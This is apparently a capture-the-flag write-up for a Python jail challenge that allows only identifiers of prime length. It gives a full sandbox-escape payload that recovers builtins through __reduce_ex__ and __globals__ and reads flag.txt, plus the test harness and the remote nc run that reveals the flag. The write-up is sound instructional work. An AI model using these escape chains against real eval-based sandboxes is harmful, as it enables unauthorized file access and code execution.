We are given a jail that runs on a remote server.
#!/usr/local/bin/python3
import re
isPrime = lambda num: num > 1 and all(num % i != 0 for i in range(2, num))
code = input("Prime Code > ")
if len(code) > 200 or not code.isascii() or "eta" in code:
print("Relax")
exit()
for m in re.finditer(r"\w+", code):
if not isPrime(len(m.group(0))):
print("Nope")
exit()
eval(code, {'__builtins__': {}})
Our goal is to get the flag in flag.txt
.
We can see that our code needs to pass some checks before being executed in an eval with no builtins. The checks are:
__getattr__
or __setattr__
usage for example)\w+
) must have a prime lengthThe first three checks are pretty straightforward, but the last one is a bit tricky. It means that any sequence of alphanumeric characters (letters, digits, and underscores) in our code must have a length that is a prime number. With that in mind, we can create a testing environment to be able to easily test our payloads locally.
#!/usr/local/bin/python3
import re, os
from prompt_toolkit import PromptSession
from prompt_toolkit.history import FileHistory
isPrime = lambda num: num > 1 and all(num % i != 0 for i in range(2, num))
session = PromptSession(history=FileHistory(os.path.expanduser('~/.prime_code_history')))
while True:
code = session.prompt("Prime Code > ")
print(f"Code length: {len(code)}")
if len(code) > 200 or not code.isascii() or "eta" in code:
print(len(code), code.isascii(), "eta" in code)
print("Relax")
items = [len(m.group(0)) for m in re.finditer(r"\w+", code)]
print(f"Items: {items}")
for m in re.finditer(r"\w+", code):
if not isPrime(len(m.group(0))):
print(f"Nope for {m.group(0)} of length {len(m.group(0))}")
break
try:
print(eval(code, {'__builtins__': {}}))
except Exception as e:
print(f"Error: {e}")
PromptSession
is a tool that I started using recently, it provides a nice interactive prompt with arrow and history support.
With this environment, we can start testing some payloads.
For all these payloads, I will mainly use this site as source because it contains a lot of interesting payloads.
The first thing we need to think about is how to retrieve the builtins.
To do so, we can try to use a classical method, that goes down to object
and then call __subclasses__
in order to get builtins
back :
().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__`
but len("__subclasses__")
= 14, which is not prime so we can’t use this method.
Another one which could be possible is by using __reduce_ex__
:
__reduce_ex__(protocol, /) method of builtins.list instance
Helper for pickle.
With protocol 3 from []
, we are able to create a __newobj__
object:
>>> [].__reduce_ex__(3)
(<function __newobj__ at 0x72e1f4f468e0>, (<class 'list'>,), None, <list_iterator object at 0x72e1f4b1ab00>, None)
We can now check get this object which is the first element of the tuple:
>>> [].__reduce_ex__(3)[0]
<function __newobj__ at 0x72e1f4f468e0>
Then use __globals__["__builtins__"]
to retrieve the builtins. But does this method bypass the prime restriction ?
len('__reduce_ex__')
= 13 (Prime)len('3')
= 1 (not Prime)len('0')
= 1 (not Prime)len('__globals__')
= 11 (Prime)len('__builtins__')
= 12 (not Prime)__builtins__
is not a problem here as this is use as a string, so we can easily separate it: '__'+'bu'+'il'+'ti'+'ns'+'__'
.
Numbers can be replaced using this trick found in this article:
False => [] > []
True => [[]] > []
0 => -([] > [])
-1 => ~([] > [])
1 => -~([] > [])
2 => 1+1 => (-~([]<[]))+(-~([]<[]))
We can now create the first part of our payload in order to get the builtins:
([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']
Perfect. We now need to get a shell or print the flag in flag.txt
. The issue with getting a shell using os.system
is that len("system")
= 6 which is not prime. By looking at the different payload on the same site as usual, I found one that looked promising:
exit(*open("flag.txt"))
with this payload, we only access functions from builtins dictionary, so by using strings, which is more manageable than methods.
But this payload uses two builtins functions, and because there is some size limitation, it could be useful to store it in a variable using :=
inside eval
.
Let’s first try to store them, and to get exit
.
[bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),bb['exit']]
This seems to work, let’s now try to end our payload by calling exit
with *open("flag.txt")
and also only making strings of prime size:
Prime Code > [bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),(bb['ex''it'])(*(bb['op''en']('fl''ag''.txt')))]
Code length: 166
Items: [2, 13, 11, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3]
jail{flag_will_be_here_on_remote}
This seems to work locally, let’s try on the remote:
$ nc challs1.pyjail.club 24999
Prime Code > [bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),(bb['ex''it'])(*(bb['op''en']('fl''ag''.txt')))]
jail{it_was_prbably_schizophrenia_fad4cea2cfce8}
And there is the flag: jail{it_was_prbably_schizophrenia_fad4cea2cfce8}
This challenge was a pretty fun one, not the hardest, but only allowing words of prime number size is quite exotic.